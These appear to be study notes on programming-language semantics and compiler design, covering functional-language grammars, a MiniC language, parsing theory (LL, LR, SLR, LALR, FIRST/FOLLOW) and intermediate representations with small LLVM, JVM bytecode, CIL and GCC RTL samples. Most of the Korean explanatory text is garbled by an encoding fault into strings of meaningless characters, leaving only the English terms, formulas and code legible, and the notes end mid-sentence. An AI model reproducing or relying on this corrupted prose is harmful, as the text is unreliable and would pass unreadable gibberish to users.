Semantics e[n/x] ํจ์ ํธ์ถ ์, ํจ์ ๋ชธ์ฒด์ ํ๋ผ๋ฏธํฐ ๋ณ์๋ฅผ ์ ๋ฌ๋ ์ด์๋ก ์นํํ ํ ๊ณ์ฐ
Lexical scope vs dynamic scope Lexical scope : identifier์ scope๊ฐ ์ปดํ์ผ์์ ์ ์ ์ Dynamic scope : identifier์ scope๊ฐ ์คํ์์ ์ ๊ฒฐ์ First Class Function (FVAE) First-class function ํจ์๋ฅผ ๊ฐ์ฒ๋ผ ๋ค๋ฃจ๋ ํ๋ก๊ทธ๋๋ฐ ์ธ์ด์ ํน์ฑ
Concrete syntax 1expr ::= let var = expr in expr 2 | (fun var -> expr) // ์ถ๊ฐ๋ ๊ฒ : ํจ์ ์ ์ 3 | expr expr // ์ถ๊ฐ๋ ๊ฒ : ํจ์ ํธ์ถ 4 | expr + expr 5 | expr - expr 6 | (expr) 7 | number 8 | ~ (expr) 9 | var function applications ํจ์ํ ํ๋ก๊ทธ๋๋ฐ์์๋ ํจ์ ํธ์ถ ๋์ ํจ์ ์ ์ฉ
Abstract syntax $\lambda x.e$ $$ e ::= n\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ \lambda x.e\ |\ e\ e \ n \in Z\ x \in Var $$
$\lambda x.e$ : ํจ์ ์ ์ (x๋ ํ๋ผ๋ฏธํฐ, e๋ ํจ์ ๋ชธ์ฒด) x๋ binding occurence x์ scope๋ e $e\ e$ : ํจ์ ์ ์ฉ e1 : ํจ์๋ก ๊ณ์ฐ๋๋ expression e2 : ์ธ์ Closure Closure = Var X Expr X Store
FVAE์์๋ ํจ์๋ “๊ฐ"์ด๋ฏ๋ก “๊ฐ"์ ํ์ฅ์ด ์๊ตฌ๋๋ค Multiple parameters Concrete syntax 1expr ::= let var = expr in expr 2 | let var var = expr in expr 3 | (fun var_list -> expr) // ์ถ๊ฐ๋ ๊ฒ : ํจ์ ์ ์ 4 | expr expr 5 | expr + expr 6 | expr - expr 7 | (expr) 8 | number 9 | ~ (expr) 10 | var 11var_list ::= var var_list | var // ์ถ๊ฐ๋ ๊ฒ : ํ๋ผ๋ฏธํฐ ๋ฆฌ์คํธ Conditional Branch (CFVAE) Concrete syntax 1expr ::= let var = expr in expr 2 | (fun var_list -> expr) 3 | if expr then expr else expr // ์ถ๊ฐ๋ ๊ฒ : ์กฐ๊ฑด๋ฌธ 4 | expr expr 5 | expr + expr 6 | expr - expr 7 | expr < expr // ์ถ๊ฐ๋ ๊ฒ : ๋น๊ต์ฐ์ฐ 8 | (expr) 9 | number 10 | bool 11 | ~ (expr) 12 | var if-then-else๊ฐ ๋ค๋ฅธ expression์ ๋นํด ์ฐ์ ์์๊ฐ ๋ฎ๋ค๊ณ ๊ฐ์ Abstract syntax $$ e ::= n\ |\ b\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ \lambda x.e\ |\ e\ e\ |\ e?e\ : e\ |\ e\ <\ e \ n \in Z\ b \in {true, false } x \in Var $$
Boolean support as syntatics sugar true์ false๋ฅผ ์ ์๋ก ํํ true์ false๋ฅผ closure๋ก ํํ Option 1. C style $$ e ::= n\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ \lambda x.e\ |\ e\ e\ |\ e\ ?\ e\ :\ e\ |\ e\ <\ e\ n \in Z\ x \in Var $$
Option 2. Church boolean $$ e ::= n\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ \lambda x.e\ |\ e\ e\ |\ e\ <\ e\ n \in Z\ b \in {true, false }\ x \in Var $$
Recursion (RCFVAE) Concrete syntax 1expr ::= let var = expr in expr 2 | let rec var = expr in expr // ์ถ๊ฐ๋ ๊ฒ : ์ฌ๊ทํจ์ 3 | (fun var -> expr) 4 | if expr then expr else expr 5 | expr expr 6 | expr + expr 7 | expr - expr 8 | expr < expr 9 | (expr) 10 | number 11 | bool 12 | ~ (expr) 13 | var Abstract syntax $$ e ::= n\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ let\ rec\ x\ =\ e\ in\ e |\ \lambda x.e\ |\ e\ e\ |\ e\ <\ e \ n \in Z\ x \in Var $$
minic 1 Imperative language (๋ช
๋ นํ ์ธ์ด) ์ฐ์๋ command(๋ช
๋ น)์ ํตํด ํ๋ก๊ทธ๋จ์ ์๋ฏธ๋ฅผ ์ํ
Concrete syntax 1prog ::= stmts 2stmts ::= stmt | stmt stmts 3stmt ::= var = expr; 4 | if expr {stmts} 5 | if expr {stmts} else {stmts} 6expr ::= number 7 | var 8 | true 9 | false 10 | (expr) 11 | expr + expr 12 | expr - expr 13 | expr < expr 14 | expr > expr 15 | expr == expr 16 | expr && expr 17 | expr || expr Abstract syntax $$ p ::= \overline{s} \ s ::= x = e\ |\ e?\ \overline{s} : \overline{s} \ e ::= n\ |\ x\ |\ b\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ e\ <\ e\ |\ e\ >\ e\ |\ e\ ==\ e\ |\ e\ &&\ e\ |\ e\ ||\ e \ n \in Z\ b \in {true, false}\ x \in Var $$
Semantics p : MiniC program Prog -> Store
s : MiniC statement Store X Stmt -> Store
e : MiniC expression Store X Expr -> Value
Short circuit evaluation ๋
ผ๋ฆฌ์ ์ฐ์ฐ์ ์์ด ๊ฒฐ๊ณผ๊ฐ ์ ํด์ง ๊ฒฝ์ฐ ๋จ์ expression ๊ณ์ฐ
minic 2 &x: reference *e: dereference Concrete syntax 1prog ::= stmts 2stmts ::= stmt | stmt stmts 3stmt ::= def var; 4 | var = expr; 5 | *expr = expr; 6 | if expr {stmts} 7 | if expr {stmts} else {stmts} 8 | while expr {stmts} 9expr ::= number 10 | var 11 | true 12 | false 13 | &var 14 | *expr 15 | (expr) 16 | expr + expr 17 | expr - expr 18 | expr < expr 19 | expr > expr 20 | expr == expr 21 | expr && expr 22 | expr || expr Abstract syntax $$ p ::= \overline{s} \ s ::= def\ x\ |\ x = e\ |\ *e = e\ |\ e?\ \overline{s} : \overline{s}\ |\ while\ e\ \overline{s} \ e ::= n\ |\ x\ |\ b\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ e\ <\ e\ |\ e\ >\ e\ |\ e\ ==\ e\ |\ e\ &&\ e\ |\ e\ ||\ e\ |\ &x\ |\ *e \ b \in {true, false}\ n \in Z\ x \in Var $$
Semantics ๊ฐ์ ์ปดํจํฐ์ ์ธ๊ฐ์ด ์ํตํ๋ ๋ฐฉ๋ฒ ์ด์
๋ธ๋ฆฌ์ด ์ด์
๋ธ๋ฆฌ์ด์ ๋ฒ์ญ๊ธฐ๋ ์ด์
๋ธ๋ฌ(Assembler)๋ผ๊ณ ํ๋ค cpu์นฉ์
์ด ๋ฐ๋๋๋ง๋ค ์ด์
๋ธ๋ฆฌ์ด๊ฐ ๋ฐ๋๋ค ๊ณ ๊ธ์ธ์ด ๊ณ ๊ธ์ธ์ด์ ๋ฒ์ญ๊ธฐ๋ ์ปดํ์ผ๋ฌ(Compiler)๋ผ๊ณ ํ๋ค ์ปดํ์ผ๋ฌ์ ์ ํํ ์ ์ ์ด๋ค ์ธ์ด๋ก ์ฐ์ฌ์ง ํ๋ก๊ทธ๋จ์ ๊ฐ์ ์ญํ ์ ๋ค๋ฅธ ์ธ์ด๋ก ๋ฐ๊ฟ์ฃผ๋ ํ๋ก๊ทธ๋จ
1952๋
๊ทธ๋ ์ด์ค ํธํผ(Grace Hopper)๊ฐ UNIVAC์ฉ ํ๋ก๊ทธ๋๋ฐ์ธ์ด A-0 ์ปดํ์ผ๋ฌ๋ฅผ ์ ์ ์ปดํ์ผ๋ฌ vs ์ธํฐํ๋ฆฌํฐ ํ๋ก๊ทธ๋จ ์ฒ๋ฆฌ๊ณผ์ ์ปดํ์ผ๋ฌ์ ์ฒ๋ฆฌ ๊ณผ์ Lexical analysis (์ดํ ๋ถ์) token์ ์์ฑํ๋์ผ, token์ ์ดํ์ ์ต์ ๋จ์ Syntax analysis (๊ตฌ๋ฌธ ๋ถ์) token์ ์ฝ์ด์ ์ค๋ฅ๋ฅผ ๊ฒ์, ๊ตฌ๋ฌธ ๊ตฌ์กฐ๋ฅผ ๋ง๋ ๋ค (์ฃผ๋ก ํธ๋ฆฌํํ) Semantic analysis (์๋ฏธ ๋ถ์) type checking Intermediate code generation (์ค๊ฐ ์ฝ๋ ์์ฑ) ์ค๊ฐ ์ฝ๋๋ก ๋ณํ Code optimization (์ฝ๋ ์ต์ ํ) ์ค๊ฐ ์ฝ๋๋ฅผ ๋ ํจ์จ์ ์ผ๋ก ๋ณํ Code generation (์ฝ๋ ์์ฑ) ๋ชฉ์ ์ฝ๋ ์์ฑ Lexical analysis (์ดํ ๋ถ์) token : ๋ฌธ๋ฒ์ ์ผ๋ก ์๋ฏธ์๋ ์ต์ ๋จ์ FSA (Finite State Automata, ์ ํ ์ํ ์คํ ๋งํ) token์ ์ธ์ํ๋ ๋ฐฉ๋ฒ ์์ ์ํ ํ ๊ฐ์ ๋ ์ํ ์ฌ๋ฌ ๊ฐ๋ฅผ ๊ฐ์ง DFA (Deterministic Finite Automata) FSA์ ํ ์ข
๋ฅ ๊ฐ ์ํ์์ ๋ป์ด๋๊ฐ๋ edge๊ฐ ํ๋์ฉ๋ง ์กด์ฌ ฮต๊ฐ ๋ถ์ edge ์์ ๋ถ์ํ ํ ํฐ์ ํํํ๋ ๋ฐฉ๋ฒ Lexeme = <ํ ํฐ๋ฒํธ, ํ ํฐ ๊ฐ>
์์ if X < Y … (29, 0) (1, X) (18, 0) (1, Y) … ์๋ณ์์ ํ ํฐ๋ฒํธ๋ 1๋ฒ, ์์๋ 2๋ฒ ๋ฑ์ผ๋ก ๊ณ ์ Syntax analysis (๊ตฌ๋ฌธ ๋ถ์) token์ ์ฝ์ด์ ์ค๋ฅ๋ฅผ ๊ฒ์, parse tree๋ฅผ ๋ง๋ ๋ค CFG (Context Free Grammer) ๊ตฌ๋ฌธ์ ํํํ๋ ๋ฐฉ๋ฒ G = (N, T, P, S) N = nonterminal symbol ์ํ๋ฒณ ๋๋ฌธ์๋ก ํํ T = terminal symbol (token) ์ํ๋ฒณ ์๋ฌธ์+์ซ์, ์ฐ์ฐ์, ๊ตฌ๋ถ์, ํค์๋ ๋ฑ P = production rule ์) S -> T+T, T -> ‘0’|‘1’|‘2’ S = start symbol L(G) : ์ด ๋ฌธ๋ฒ์ผ๋ก ์์ฑ๋๋ ์ธ์ด ์ฌ๋ฌ๊ฐ์ง CFG ํํ๋ฒ BNF (Backus-Naur Form) EBNF (Extended BNF) ์ ๋ (derivation) ์์ฑ ๊ท์น๋ฅผ ์ ์ฉํ์ฌ ๋ฌธ์ฅ์ ์์ฑํ๋ ๊ณผ์ ์ ๋๋ฅผ ํ๋ ๊ณผ์ ์์ ํ๋์ฉ ๊ณจ๋ผ์ ๋ฐ๊ฟ ์ ๋ ํธ๋ฆฌ : ์ ๋ ๊ฒฝ๋ก๋ฅผ ์ถ์ํ ์์ผ ํํํ ๊ฒ ์ข์ธก ์ ๋(leftmost derivation) ๊ฐ์ฅ ์ผ์ชฝ์ ์๋ nonterminal์ ๋จผ์ ๋์น ์ฐ์ธก ์ ๋(rightmost derivation) ๊ฐ์ฅ ์ค๋ฅธ์ชฝ์ ์๋ nonterminal์ ๋จผ์ ๋์น ๋ชจํธ์ฑ (ambiguity) ๋ฌธ๋ฒ G์ ์ํด ์์ฑ๋๋ ์ด๋ค ๋ฌธ์ฅ์ด ๋๊ฐ ์ด์์ ์ ๋ํธ๋ฆฌ๋ฅผ ๊ฐ๋๋ค๋ฉด ๋ฌธ๋ฒ G๋ ๋ชจํธํ๋ค๊ณ ํ๋ค ๋ชจํธํ์ง ์์ ๋ฌธ๋ฒ์ ์ข์ธก ์ ๋์ ์ฐ์ธก ์ ๋๊ฐ ๊ฐ๋ค ๋ชจํธ์ฑ ํด๊ฒฐ ์ฐ์ฐ์ ์ฐ์ ์์ ๋์
๊ฒฐํฉ ๋ฒ์น ๋์
Left Recursion์ ์ข์ธก ๊ฒฐํฉ์ ์ฌ์ฉ ex) A -> A+a | a Right Recursion์ ์ฐ์ธก ๊ฒฐํฉ์ ์ฌ์ฉ ex) A -> a+A | a ๊ตฌ๋ฌธ ๋ถ์์ 2๊ฐ์ง ๋ฐฉ์ top-down, bottom-up Top-down parsing Top-down ๋ฐฉ์ ์ข์ธก ์ ๋์ ๊ฐ์ ์์ ์ ์์ฑ ๊ท์น ์ ์ฉ backtracking : ์ ๋๋ ๋ฌธ์์ด๊ณผ ์
๋ ฅ ๋ฌธ์์ด์ด ๊ฐ์ง ์์ผ๋ฉด ๋ค๋ฅธ ์์ฑ๊ท์น ์ ์ฉ Bottom-up ๋ฐฉ์ ์ฐ์ธก ์ ๋์ ์ญ์์ ์์ฑ ๊ท์น ์ ์ฉ LL ํ์ฑ ์ผ์ชฝ->์ค๋ฅธ์ชฝ์ผ๋ก ์ฝ์ด์ ์ขํ์ค ์์ฑ backtracking X, ๋น ๋ฅด๋ค ๊ฒฐ์ ์ ์ผ๋ก ํ์ฑ ์ฌ์ฉ๋ ์ ์ ฮต-์์ฑ๊ท์น
Nonterminal A๊ฐ ฮต๋ฅผ ์ ๋ํ ์ ์์ผ๋ฉด A๋ฅผ nullableํ๋ค๊ณ ๋ถ๋ฅธ๋ค lhs, rhs
A->XXX์์ lhs๋ A, rhs๋ XXX โ (Ring Sum)
A์ ฮต๊ฐ ์์ผ๋ฉด, AโB = (A์์ ฮต๋นผ๊ณ A ํฉ์งํฉ B) A์ ฮต๊ฐ ์์ผ๋ฉด, AโB = A First nonterminal A๋ก ๋ถํฐ ์ ๋๋์ด ์ฒซ๋ฒ์งธ๋ก ๋ํ๋ ์ ์๋ terminal์ ์งํฉ X->Y1Y2Y3์ผ๋, FIRST(X) = FIRST(X) U FIRST(Y1) โ FIRST(Y2) โ FIRST(Y3)
Follow A ๋ค์์ ๋์ค๋ terminal์ ์งํฉ A->ฮฑBฮฒ, ฮฒ != ฮต ์ผ๋, FOLLOW(B) = FOLLOW(B) U (FIRST(ฮฒ)-{ฮต})
A->ฮฑB ๋๋ A->ฮฑBฮฒ, FIRST(ฮฒ)์ ฮต๊ฐ ์ํ ๋, FOLLOW(B) = FOLLOW(B) U FOLLOW(A)
LL์กฐ๊ฑด FIRST(ฮฑ)์ FIRST(ฮฒ)๊ฐ ๊ฒน์น๋ฉด ์๋๋ค FIRST(ฮฑ)์ ฮต๊ฐ ์์ผ๋ฉด, FOLLOW(ฮฑ)์ FIRST(ฮฒ)๊ฐ ๊ฒน์น๋ฉด ์๋๋ค LL ์กฐ๊ฑด์ ๋ง์กฑํ๋ ๋ฌธ๋ฒ = LL ํ์ฑ ๋๋ ๋ฌธ๋ฒ LL(1) ๋ฌธ๋ฒ ์์์ ๋ฌธ๋ฒ์ ๋ํ์ฌ LL ์กฐ๊ฑด์ ๋ง์กฑํ๋ CFG 1 : LOOKAHEAD๊ฐ 1๊ฐ๋ผ๋ ์๋ฏธ ๋ค์๊ณผ ๊ฐ์ ๊ฒฝ์ฐ LL(1)๋ฌธ๋ฒ์ด ๋์ง ์๋๋ค ๋ชจํธํ ๋ฌธ๋ฒ ์ฐ์ ์์ ์ฃผ๊ธฐ, ๊ฒฐํฉ๋ฒ์น ๋ฐ์์ผ๋ก ํด๊ฒฐ left-factoring์ด ๋๋ ๊ฒฝ์ฐ ๊ณตํต ์๋ถ๋ถ์ ์๋ก์ด nonterminal๋ก ๋ง๋ค์ด ํด๊ฒฐ left-recursiveํ ๊ฒฝ์ฐ ์ง์ recursion : A -> Aฮต ์ธ๊ฒฝ์ฐ ๊ฐ์ recursion : A -> B, B -> A ์ธ๊ฒฝ์ฐ LOOKAHEAD ์ด๋ค ๊ท์น์ด ์ ์ฉ๋์์๋ ๋งจ ์ฒ์ ๋์ฌ ์ ์๋ terminal ์งํฉ A->X1X2X3์ผ๋, LOOKAHEAD(A) = FIRST(X1) โ FIRST(X2) … โ FOLLOW(A)
Strong LL(1) LL(1)๊ณผ ํญ์ ๋์ผ (1์ด ์๋๋๋ ๋ค๋ฆ) LOOKAHEAD(A->ฮฑ)์ LOOKAHEAD(A->ฮฒ)๊ฐ ๊ฒน์น์ง ์๋ ๋ฌธ๋ฒ LL(1) ํ์ ๊ตฌํ ๋ฐฉ๋ฒ Recursive descent parser ์ฅ์ : ์ง๊ด์ ์ฝ๋ค ๋จ์ : ์์ฑ ๊ท์น์ด ๋ฐ๋๋ฉด ๊ตฌ๋ฌธ ๋ถ์๊ธฐ๋ฅผ ๊ณ ์ณ์ผ ํ๋ค Predictive parser PDA(PushDown Automata)์ ๊ธฐ๋ฐ
์์ฑ ๊ท์น์ด ๋ฐ๋๋ฉด ํ์ฑ ํ
์ด๋ธ๋ง ์์
ํ์ฑํ
์ด๋ธ ์์ (?์๋ ๊ท์น๋ฒํธ๊ฐ ๋ค์ด๊ฐ๋ค)
a b S ? ? A ? ? ํ์ฑํ
์ด๋ธ์ ๋๊ฐ ์ด์์ ์์ฑ ๊ท์น์ด ๋ค์ด๊ฐ๋ ๊ฒฝ์ฐ -> NOT LL(1)
Stack์ ์์ Bottom-up parsing left-recursive ๋ฌธ๋ฒ๋ ํ์ฑ ๊ฐ๋ฅ LL(k) ์ข์ธก์ ๋ ๊ธฐ๋ฐ k๊ฐ์ symbol์ lookahead Top-down parsing, recursive descent parsing, predictive parsing, LL parser ํ์คํธ๋ฆฌ๋ฅผ pre-roder๋ก ์ํ ๋ฐ ์์ฑ LR(k) ์ฐ์ธก์ ๋ ๊ธฐ๋ฐ k๊ฐ์ symbol์ lookahead Bottom-up parsing, shift-reduce parsing, LR parser ํ์คํธ๋ฆฌ๋ฅผ post-order๋ก ์ํ ๋ฐ ์์ฑ Reduce S=>ฮฑฮฒฯ์ด๊ณ A->ฮฒ์ด๋ฉด ฮฒ๋ฅผ A๋ก ๋์นํ๋ ๊ฒ : S=>ฮฑAฯ ์์ symbol์ด ๋์ฌ ๋๊น์ง reduce ํ๋ค Handle S=>ฮฑฮฒฯ์ด๊ณ A->ฮฒ์ด๋ฉด ฮฒ๋ฅผ ฮฑฮฒฯ์ handle์ด๋ผ๊ณ ํ๋ค ๋ ๊ฐ ์ด์์ handle์ด ์กด์ฌํ ๋ -> ๋ชจํธํ๋ค Shift์ Reduce๋ก Parsing ํ๊ธฐ Stack์ ์์ Issue Shift์ Reduce ์ค ์ด๋ ๊ฒ์ ํ ๊น? Stack์ top์์ ์ผ๋ง๋งํผ์ handle๋ก ๋ณผ ๊ฒ์ธ๊ฐ? ํด๊ฒฐ๋ฐฉ๋ฒ: LR Parsing Table YACC LALR ํ์ ์์ฑ๊ธฐ foo.y –(yacc)–> y.tab.c –(gcc)–> a.out *.y ํ์ผ ๊ตฌ์กฐ 1<์ ์ธ๋ถ> 2... 3%% 4... 5exp : exp '+' term; 6factor : ident; 7... 8%% 9<์ฌ๋ฌ ํจ์> ๋ชจํธํ ๋ฌธ๋ฒ์ผ๋ก LR Conflict ๋ฐ์ ์ ์ ์ธ๋ถ์์ ์ฐ์ ์์ ์ง์ ํ์ฌ ํด๊ฒฐ LR Parsing Table Action table : Action + Parser ์ํ Goto table : Parser ์ํ LR(0) ํ์ฑ ํ
์ด๋ธ ๋ง๋ค๊ธฐ LR(0) ์์ดํ
rhs์ ์ (’.’) symbol์ ๊ฐ์ง ์์ฑ ๊ท์น ex) A->ฮฑ.ฮฒ, A->. closure ์ (’.’)๋ค์ non-terminal์ด ์ค๋ฉด ์ฌ๊ท์ ์ผ๋ก ์ถ๊ฐ S’ -> S, S -> (L)|id, L -> S | L,S closure({[S’->.S]}) = {[S’->.S], [S->.(L)], [S->.id]} goto goto(I, X)์ด๋ฉด ์ ์ X๋ค๋ก ์ฎ๊ธฐ๊ณ closure๋ฅผ ์ทจํ๋ค X๊ฐ ์์ผ๋ฉด ๋ฃ์ง ์๋๋ค I={[G->E=E], [E->E.+T]} ์ผ๋, goto(I, +) = closure({E->E+.T}) : ์ ์ +๋ค๋ก ์ฎ๊น C0 ์์ฑ๊ท์น S’->S์์๋ถํฐ ์ฐจ๋ก๋ก closure์ goto๋ฅผ ์ ์ฉํ์ฌ ์ป์ ๋ชจ๋ ํ๋นํ LR(0)์ ์์ดํ
์งํฉ๋ค
Item์ ์ข
๋ฅ
[A->X.Y] : X!=ฮต์ผ๋ kernel item [A->.X] : closure item [A->X.] : reduce item SLR ํ์ฑ ํ
์ด๋ธ ๋ง๋ค๊ธฐ reduce Item์ด [X->ฮฑ.]์ผ๋, FOLLOW(X)์ ๋ชจ๋ terminal์๋ง reduce action์ ๋ฃ๋๋ค ๋๋จธ์ง๋ LR(0)๊ณผ ๋๊ฐ๋ค LR(0)๋ณด๋ค conflict๊ฐ ์ ์ด, ๋ ์ ๊ตํ๋ค๊ณ ํ ์ ์๋ค. LALR Parsing ์ ๊ตํ ์์ LR(0) < SLR < LALR(1) < LR(1)
ํ์ ์ํ์ ๊ฐ์ SLR = LALR « LR(1)
SDD, AST SDD (Syntax Directed Definition) SDD : semnatic action์ ์ ์ํ๋ ์ถ์์ ์ธ ๋ช
์ธ์ Semnatic Actions : ๊ท์น์ ๋ํ Action Yacc/Bison : $$, $1, $2, ... ์ฌ์ฉ ANTLR : $<name> ์ฌ์ฉ Type declaration Attribute ์ข
๋ฅ synthesized attr. : children์ ์ํด ๊ณ์ฐ (terminal) inherited attr. : parent, sibling์ ์ํด ๊ณ์ฐ AST (Abstract Syntax Tree) ํ์คํธ๋ฆฌ์์ ๋ถํ์ํ ์ ๋ณด๋ฅผ ์ ๊ฑฐํ ํํ AST๋ฅผ ๋ง๋๋ ๋ฐฉ๋ฒ ํ์ฑ๋จ๊ณ์์ ๋ง๋ค๊ธฐ : LL, LR ํ์คํธ๋ฆฌ๋ฅผ ์ํํ๋ฉด์ ๋ง๋ค๊ธฐ : SDD ์ฌ์ฉ (Yacc etc.) evaluation : ๋
ธ๋๋ฅผ ๋ฐฉ๋ฌธํ๋ฉด์ ์์
ํ๋ ํ์ On-the-fly evaluation S-attributed SDD: synthesized attribute๋ง ๊ฐ์ง๊ณ ์๋ SDD L-attributed SDD: synthesized attribute๋ง ๊ฐ์ง๋ ๊ฒฝ์ฐ + ๊ฐ์ด ์ผ์ชฝ์์ ์ค๋ฅธ์ชฝ์ผ๋ก ํ๋ฌ ๊ณ์ฐ์ด ์ด๋ฃจ์ด์ง๋ ๊ฒฝ์ฐ IR (Intermediate Representation) IR์ด๋? Tree๋ Instruction list ํํ instruction(node)๊ฐ ์ ์ด์ผ ์ต์ ํ/๋ฒ์ญ์ ์ข์ High Level IR High์ Low๋ ์๋์ ์ธ ๊ฐ๋
High level IR: ์ฌ๊ธฐ์๋ AST์ ๋ณํ๋ง ์๊ฐ ์ข
๋ฅ : AST, TCOL Low Level IR ๋จ์ํ instruction์ผ๋ก ๊ตฌ์ฑ ๊ฐ์๊ธฐ๊ณ(์ฃผ๋ก RISC)๋ฅผ emulate N-tuple ํ๊ธฐ๋ฒ (3-address code) a = b OP c
์ผ๋ฐ์ ์ผ๋ก ๊ธฐ๊ณ์ด๊ฐ ๊ฐ์ง๋ ํผ์ฐ์ฐ์ ๊ฐ์ <= 3 quadruple : (์ฐ์ฐ์, ํผ์ฐ์ฐ์1, ํผ์ฐ์ฐ์2, ๊ฒฐ๊ณผ) Stack machine code Java byte code, U-code : AST๋ก๋ถํฐ ์์ฑ์ด ์ฉ์ด Tree ํํ ๊ธฐ๊ณ์ด ์์ฑ ์ฉ์ด IR ์์ GCC - GIMPLE (3-address code) GCC์ ์ค๊ฐ์ฝ๋ : GENERIC -> GIMPLE -> RTL 1D.1954 = x*10 // D.1954๋ ์์๋ณ์ 2gimple_assign <mult_exprt, D.1954, x, 10> LLVM - bit (3-address code) LLVM IR : ์ธ์ด์ ๋จธ์ ์ ๋
๋ฆฝ์ 1@var = global i32 14 ; ์ ์ญ๋ณ์ var์ 14 ๋์
2define i32 @main() nounwind { ; i32(int) ๋ฐํํ 3 entry: 4 %a = alloca i32, align 4 ; ์ง์ญ๋ณ์ a ์ ์ธ, int ํ ๋น 5 %1 = load i32 * @var ; %1 ์์๋ณ์์ var๊ฐ ๋์
6 ret i32 %1 ; ์์๋ณ์ ๊ฐ ๋ฐํ 7} JVM - byte code (stack machine code) ๊ฐ์ ๊ธฐ๊ณ ์ฝ๋ (Bytecode, MSIL) ๊ฐ์ ๊ธฐ๊ณ์์ ๋์ํ๋๋ก ํจ ์ด์์ฑ, ํธํ์ฑ์ด ๋ชฉ์ : java bytecode๋ machine ํธํ์ฑ, c# msil์ language ํธํ์ฑ 1public Employee(String strName, int num) 2{name = strName; idNumber = num; storeData(strName, num);} 3Method Employee(java.lang.String, int) 4 50 aload_0 ; 0๋ฒ์งธ ๋ก์ปฌ๋ณ์(this)๋ฅผ ์คํ์ push 61 invokespecial #3 <Method java.lang.Object()> ; ํจ์ ํธ์ถ 7--- 84 aload_0 95 aload_1 ; strName์ ์คํ์ push 106 putfield #5 <Field java.lang.String name> ; name์ strName ๋์
11--- 129 aload_0 1310 iload_2 ; num์ ์คํ์ push 1411 putfield #7 <Field int idNumber> ; idNumber์ num ๋์
15--- 1614 aload_0 1715 aload_1 ; strName์ ์คํ์ push 1816 iload_2 ; num์ ์คํ์ push 1917 invokespecial #9 <Method void storeData(java.lang.String, int)> ; ํจ์ ํธ์ถ 2020 return line number : ๋ช
๋ น์ด ์์ํ๋ ๋ฐ์ดํธ ์ฃผ์ aload : ๊ฐ์ฒด๋ฅผ push, iload : ์ ์๋ฅผ push ์๋๋ aload๊ฐ ๋ช
๋ น, ์์ฃผ ์ฐ๋ ๋ช
๋ น aload 0์ ๋ฌถ์ด์ bind -> aload_0 CIL (Common Intermediate Language) (stack machine code) C#, VB.NET, J# ๋ฑ์์ ์ฌ์ฉ MSIL์ ์๋ ์ด๋ฆ 1.assembly Hello {} ; .assembly: ์ด์
๋ธ๋ฆฌ ์ ์ธ 2.assembly extern mscorlib {} 3.method static void Main() { 4 .entrypoint 5 .maxstack 1 6 ldstr "Hello, world!" ; stack์ ์ ์ฅ 7 call void [mscorlib]System.Console::WriteLine(string) 8 ret 9} GCC RTL(Register Transfer Language) (Tree๊ตฌ์กฐ ์ฝ๋) Lisp S-expression ์ฌ์ฉ 1(set (reg:SI 140) 2 (plus:SI (reg:SI 138) 3 (reg:SI 139))) => reg140 = reg138+reg139 IR generation 3-address Translation ๊ท์น Binary operations: t = [[el OP e2]] Unary operations: t = [[OP el]] Array access: t = [[ v[e] ]] Structure access: t = [[ v.f ]] Short-circuit OR: t = [[ el SC-OR e2]] Statement sequence: [[s1; s2; ...; sN]] Variable assignment: [[ v = e ]] Array assignment: [[ v[e1] = e2 ]] If: [[ if(e) then s ]], [[ if(e) then s1 else s2]] While: [[ while (e) s ]] Switch: [[ switch (e) case v1:s1, ..., case vN:sN ]] Function Call: [[ call f(e1, e2, ..., eN) ]] Fucntion Return: [[ return e ]] Statement Expression Statement๋ expression ์ฒ๋ผ ๊ฐ์ ๊ฐ์ง๋๋ก ํ์ฅ t = [[ S ]]๋ฅผ ์ถ๊ฐํ์ฌ ๊ฒฐ๊ณผ๊ฐ์ ์ ์ฅํ์ Nested Expressions t = [[ (a - b) * (c + d) ]] t = [[ if c then if d then a = b ]] ๊ฐ์ฅ ํฐ ๋ฉ์ด๋ฆฌ๋ถํฐ ๋ฐ๊พผ๋ค Storage Management 2๊ฐ์ง Storage Register : ๋น ๋ฅธ ์ ๊ทผ, ๊ฐ์ ์ ๊ทผ ๋ถ๊ฐ Memory : ์๋์ ์ผ๋ก ๋๋ฆฐ ์ ๊ทผ, ๊ฐ์ ์ ๊ทผ ๊ฐ๋ฅ 2๊ฐ์ง ์ ๊ทผ ๋ฐฉ์ All memory approach ๋ชจ๋ ๋ณ์๋ฅผ memory์ ์ ์ฅ, ๊ฐ๋ฅํ๊ฒ๋ง register Standard approach Global, Statics, Local(composite)๋ memory์ ์ ์ฅ Local(scalar)๋ memory ๋๋ virtual register์ ์ ์ฅ Memory์ 4๋ ์์ญ Code space : ๋ช
๋ น์ด๋ฅผ ์ ์ฅ read-only์ผ๋ ๋น ๋ฆ Static data : ํ๋ก๊ทธ๋จ๊ณผ lifetime์ ํจ๊ปํ๋ ๋ฐ์ดํฐ Stack : Local ๋ณ์๋ค Heap : ๋์ ์ผ๋ก ํ ๋น๋๋ ๋ฐ์ดํฐ File Format Windows : PE (Portable Executable) Unix : ELF (Executable and Linkable Format) ๋ณ์ ๋ฐ์ธ๋ฉ environment : <๋ณ์, storage location> ์ ๋ณด state: <๋ณ์, ๊ฐ> ์ ๋ณด ์ด๋ค ๋ณ์ N์ด storage location S์ ์ง์ ๋๋ฉด ๋ฐ์ธ๋ฉ ๋๋ค๊ณ ํ๋ค Static Allocation ํ๋ก๊ทธ๋จ ์ํํ๋ ๋์ ๋ณํ์ง ์๋ location์ผ๋ก ๋ฐ์ธ๋ฉ Heap Allocation ์ฐ์์ ์ธ global ์์ญ์ ์ผ๋ถ๋ฅผ OS๋ก๋ถํฐ ๋ฐ์ ๊ฒ ํ๋ก๊ทธ๋จ ์ํ ์ค ์์ฒญ๊ณผ ๋ฐํ Stack Management Run-time stack : ํ ํจ์ call๋ง๋ค ํ๋์ฉ๋๋ frames Activation record : ํจ์ ์ํ์ ์ํ execution env(local var, parameter, return address, etc.) Top frame : ํ์ฌ ์ํ์ค์ธ ํจ์์ frame Stack pointers SP : Frame top FP : Frame base ๋ ๊ฐ๋ฅผ 